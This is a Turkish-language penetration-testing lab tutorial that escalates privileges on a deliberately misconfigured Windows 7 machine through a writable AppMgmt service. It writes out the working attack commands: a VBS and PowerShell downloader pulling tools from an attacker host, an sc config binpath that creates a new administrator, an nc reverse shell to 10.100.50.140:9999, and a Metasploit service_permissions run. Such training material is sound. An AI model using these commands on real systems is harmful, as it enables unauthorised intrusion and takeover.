Windows 7 sanal makinesine standart yetkilere sahip “Ahmet” kullanıcısı ile komut satırı erişimi elde edilebildiği (RDP gibi bir yöntem ile masaüstü erişimine sahip olunamadığı) varsayılmaktadır.
whoami
systeminfo | findstr /B OS
net user
net localgroup Administrators
Bu bilgisayardaki yerel yönetici veya SYSTEM yetkilerini elde edebilmek için windows-privesc-check betiği ile bir takım kontroller gerçekleştirilebilir.
https://github.com/pentestmonkey/windows-privesc-check
Betik tarafından gerçekleştirilen temel kontroller aşağıdaki gibi listelenebilir.
- Yüklü uygulama bilgileri
- Paylaşımlar
- Otomatk oturum açma (autologon) olayları
- Zayıf yetkilendirilmiş servisler
- Zayıf yetkilendirilmiş olay günlüğü
- Zayıf yetkilendirilmiş sürücüler
- Zayıf yetkilendirilmiş kayıt değerleri
- Zamanlanmış görevler
- Sıkılaştırma kontrolleri
- …
Bu betik ve çalıştırılabilir dosya formatı Kali sanal makinesine indirilebilir.
git clone https://github.com/pentestmonkey/windows-privesc-check.git
cd windows-privesc-check/
ls -la
Zafiyet keşfi için kullanılacak olan Python betiğinin derlenmiş hali “windows-privesc-check2.exe” olarak aynı klasör içerisine kaydedilmiştir. Çalıştırılabilir dosya eklenmemiş olsaydı, Python betiği kaynaklardaki Siberportal yazısındaki adımlar izlenerek, Pyinstaller aracı ile de derlenebilirdi.
pyinstaller –onedir –onefile .\windows_privesc_check.py –name=”YetkiYukseltmeAraci”
1) Windows Sanal Makineye Windows-Privesc-Check Aracının Transfer Edilmesi
Kali üzerindeki windows-privesc-check2.exe adlı dosya Windows 7 makineye gönderilecektir. Bu amaçla Kali üzerinde bir web servis başlatılabilir.
php -S 0.0.0.0:9443
Windows sanal makinesinin komut satırından web servisinden paylaşılan dosyayı alabilmek için aşağıdaki gibi bir VBS dosyası oluşturulabilir.
echo strUrl = WScript.Arguments.Item(0) > WindowsWgetAraci.vbs
echo StrFile = WScript.Arguments.Item(1) >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> WindowsWgetAraci.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> WindowsWgetAraci.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> WindowsWgetAraci.vbs
echo Err.Clear >> WindowsWgetAraci.vbs
echo Set http = Nothing >> WindowsWgetAraci.vbs
echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> WindowsWgetAraci.vbs
echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> WindowsWgetAraci.vbs
echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> WindowsWgetAraci.vbs
echo If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> WindowsWgetAraci.vbs
echo http.Open “GET”, strURL, False >> WindowsWgetAraci.vbs
echo http.Send >> WindowsWgetAraci.vbs
echo varByteArray = http.ResponseBody >> WindowsWgetAraci.vbs
echo Set http = Nothing >> WindowsWgetAraci.vbs
echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> WindowsWgetAraci.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> WindowsWgetAraci.vbs
echo strData = “” >> WindowsWgetAraci.vbs
echo strBuffer = “” >> WindowsWgetAraci.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> WindowsWgetAraci.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> WindowsWgetAraci.vbs
echo Next >> WindowsWgetAraci.vbs
echo ts.Close >> WindowsWgetAraci.vbstype WindowsWgetAraci.vbs
Oluşturulan VBS dosyası kullanılarak Kali üzerindeki windows-privesc-check2.exe dosyası indirilebilir.
cscript WindowsWgetAraci.vbs http://10.100.50.140:9443/windows-privesc-check2.exe %TEMP%\YetkiYukseltmeZafiyetiAra.exe
2) Windows-Privesc-Check Aracı ile Hak Yükseltme Zafiyetlerinin Keşfi
WindowsWgetAraci.vbs aracı ile indirilen ve %TEMP% dizinine kaydedilen windows-privesc-check2.exe dosyası çalıştırıldığında bir takım parametreler istediği görülmektedir.
cd %TEMP%
dir YetkiYukseltmeZafiyetiAra.exe
YetkiYukseltmeZafiyetiAra.exe
Bu araç ile tüm yetki yükseltme zafiyetlerinin listelenmesi ve raporunun oluşturulması için aşağıdaki parametreler kullanılabilir.
YetkiYukseltmeZafiyetiAra.exe –audit -a -o SonucRaporu.html
HTML dosyasında kritikliğine göre bir çok zafiyetin raporlandığı görülmektedir.
Rapor içerisindeki kritik zafiyetlerden birisi de “AppMgmt” servisinin “Authenticated Users” tarafından değiştirilebilmesidir.
3) Accesschk.exe Aracı ile Servis Yapılandırmasındaki Zafiyetin Tespit Edilmesi
Aynı zafiyet Sysinternals accesschk.exe aracı ile de tespit edilebilir. Bu araç önce Kali üzerine indirilir ve sonra da Windows makineye Powershell komutu ile transfer edilebilir.
wget https://live.sysinternals.com/accesschk.exe
php -S 0.0.0.0:9443powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://10.100.50.140:9443/accesschk.exe’,’%TEMP%\KaydedilenDosya.exe’)”
Not: Eski sistemlere ait Accesschk uygulamalarının kullanımına da ihtiyaç olabilir. Bu gibi bir durumda archive.org kaynağı da kullanılabilir.
https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
Sysinternals accesschk.exe aracı ile standart bir kullanıcının AppMgmt servisi üzerinde tam yetkiye (okuma, değiştirme vb) gerçekleştirebildiği görülebilir.
accesschk.exe /accepteula -uwcqv “Authenticated Users” *
accesschk.exe /accepteula -ucqv AppMgmt
Not: Eğitim amacı ile özelleştirilen Windows 7 bilgisayarındaki AppMgmt servis yetkilendirmesi değiştirilmiştir. Gerçek ortamlarda bu serviste yetkilendirme hatası bulunmamakla birlikte özellikle üçüncü taraf uygulamalarda (yazıcı gibi) benzer zafiyetler görülebilir. AppMgmt servisinin yetkisi Subinacl aracı kullanılarak değiştirilmiştir.
Not: Sysinternals “SubInACL” komut satırı aracı MSI paketi olarak indirilir ve kurulduğunda varsayılan olarak “C:\Program Files (x86)\Windows Resource Kits\Tools” dizininde “subinacl.exe” dosyası oluşur.
https://www.microsoft.com/en-us/download/details.aspx?id=23510
“%SystemRoot%\System32” dizininde olmayan servisler için yetkilendirmeler aşağıdaki gibi tespit edilebilir.
for /f “tokens=2 delims=’='” %a in (‘wmic service list full^|find /i “pathname”^|find /i /v “system32″‘) do @echo %a > C:\Windows\Temp\ServisYetkilendirmesi.txt
for /f eol^=^”^ delims^=^” %a in (C:\Windows\Temp\ServisYetkilendirmesi.txt) do cmd.exe /c icacls “%a”
Benzer olarak çalışma dizini “%SystemRoot%\System32” veya “%SystemRoot%\SysWOW64” dizininde olmayan tüm servislerin yetkilendirmesi aşağıdaki gibi tespit edilebilir.
1 2 3 4 5 6 7 |
for /f "tokens=1*" %%m in ('sc query state^= all ^| find "SERVICE_NAME"') do ( for /f "tokens=1* delims=: " %%r in ('sc qc "%%~n" ^| find "BINARY_PATH_NAME"') do ( for /f "delims=" %%x in ('echo(%%~s^| findstr /L /V /I /C:"%SystemRoot%\System32" /C:"%SystemRoot%\SysWOW64"') do ( icacls "%%~x" ) ) ) |
4) Servis Yetkilendirme Zafiyetinin Manuel Olarak İstismar Edilmesi
AppMgmt servisinin varsayılan durumda “C:\Windows\system32\svchost.exe -k netsvcs” komutunu çalıştırdığı görülmektedir.
sc qc AppMgmt
sc query AppMgmt
sc queryex AppMgmt
Bu servis çalışmak için tetiklendiğinde, varsayılan komut yerine, yeni bir yerel yönetici oluşturacak şekilde bir komut da çalıştırılabilir. Bu amaçla servisin bağımlılıkları temizlenir (bu örnek için ihtiyaç yoktur), çalıştıracağı komut ayarlanır ve servisin çalışacağı hesap SYSTEM olarak ayarlanır (bu örnek için ihtiyaç yoktur).
sc config AppMgmt depend= “/”
sc config AppMgmt binpath= “C:\WINDOWS\System32\cmd.exe /c C:\Windows\System32\net.exe user YeniHesap Yy123456 /add && C:\WINDOWS\System32\net.exe localgroup Administrators YeniHesap /add”
sc config AppMgmt obj= “.\LocalSystem” password= “”
sc qc AppMgmt
Not: Yerel yönetici kullanıcısı oluşturmak yerine Windows makineye transfer edilebilecek nc aracı ile servisi çalıştıran kullanıcı hesabı (SYSTEM) yetkisi ile ters bağlantı elde etme, Meterpreter bağlantısı sağlayan zararlı yazılım çalıştırma,… gibi yöntemler de izlenebilirdi.
sc config AppMgmt binpath= “C:\Users\ncAraci.exe -nv 10.100.50.140 9999 -e C:\WINDOWS\System32\cmd.exe”
AppMgmt servisi başlatıldığında, YeniHesap adlı kullanıcı hesabının oluşturulduğu ve yerel yönetici grubuna eklendiği görülmüştür.
net start AppMgmt
net user
net localgroup Administrators
Not: Windows ortamında bir servisin ayağa kalkması için Service Control Manager ile belli bir süre (30 saniye gibi) iletişime geçmesi gereklidir. Servis başlatıldığında alınan “The service is not responding to the control function.” hatasının sebebi de, Microsoft Windows Service Control Manager tarafından gönderilen “SERVICE_CONTROL_START“, “SERVICE_CONTROL_INTERROGATE” gibi komutlara cevap verilememesi veya geç cevap verilmesi olabilmektedir.
5) Servis Yetkilendirme Zafiyetinin MSF service_permissions İstismar Modülü ile İstismar Edilmesi
AppMgmt servisinin yetkilendirmesindeki zafiyetin istismarı için MSF service_permissions istismar sonrası modülü de kullanılabilir. Mevcut ortamda yetkisiz bir kullanıcı ile Meterpreter oturumu elde edilmiş olsun.
sessions
use exploit/windows/local/service_permissions
show options
Modül çalıştırıldığında SYSTEM yetkisi ile komut satırı elde edilebilir.
set SESSION 1
exploit
getuid
“rundll32.exe” adlı bir proses oluştuğu da görülmektedir.
getpid
ps -s
Kaynaklar:
https://www.siberportal.org/green-team/constructing-programing-environment/creating-an-exe-from-a-python-script-on-windows-operating-system/
http://www.fuzzysecurity.com/tutorials/16.html
https://www.exploit-db.com/docs/turkish/42757-[turkish]-windows-and-linux-privilege-escalation.pdf
https://www.exploit-db.com/docs/turkish/39732-[turkish]-privilege-escalation-vectors-on-windows-systems.pdf
https://raw.githubusercontent.com/ankh2054/windows-pentest/master/icacls.bat
https://www.cozumpark.com/blogs/windows_server/archive/2012/05/06/servisler-ve-servis-hesaplarinin-guvenligi.aspx
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-windows-services-all-roads-lead-to-system-whitepaper.pdf
https://www.sans.org/reading-room/whitepapers/threats/managing-vulnerabilities-exposed-windows-services-1247
Penetration Testing: Stopping an Unstoppable Windows Service
https://labs.mwrinfosecurity.com/assets/1089/original/Windows_Services_-_All_roads_lead_to_SYSTEM-1.1-oct15.pdf
Running Node as a Service using NSSM
http://www.buraksenyurt.com/post/Windows-Servislerine-Giris-bsenyurt-com-dan
https://blogs.msmvps.com/erikr/2007/09/26/set-permissions-on-a-specific-service-windows/